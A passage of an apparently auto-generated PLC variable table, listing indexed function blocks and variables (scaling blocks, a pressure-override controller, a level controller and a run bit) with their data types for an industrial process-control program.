+284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; 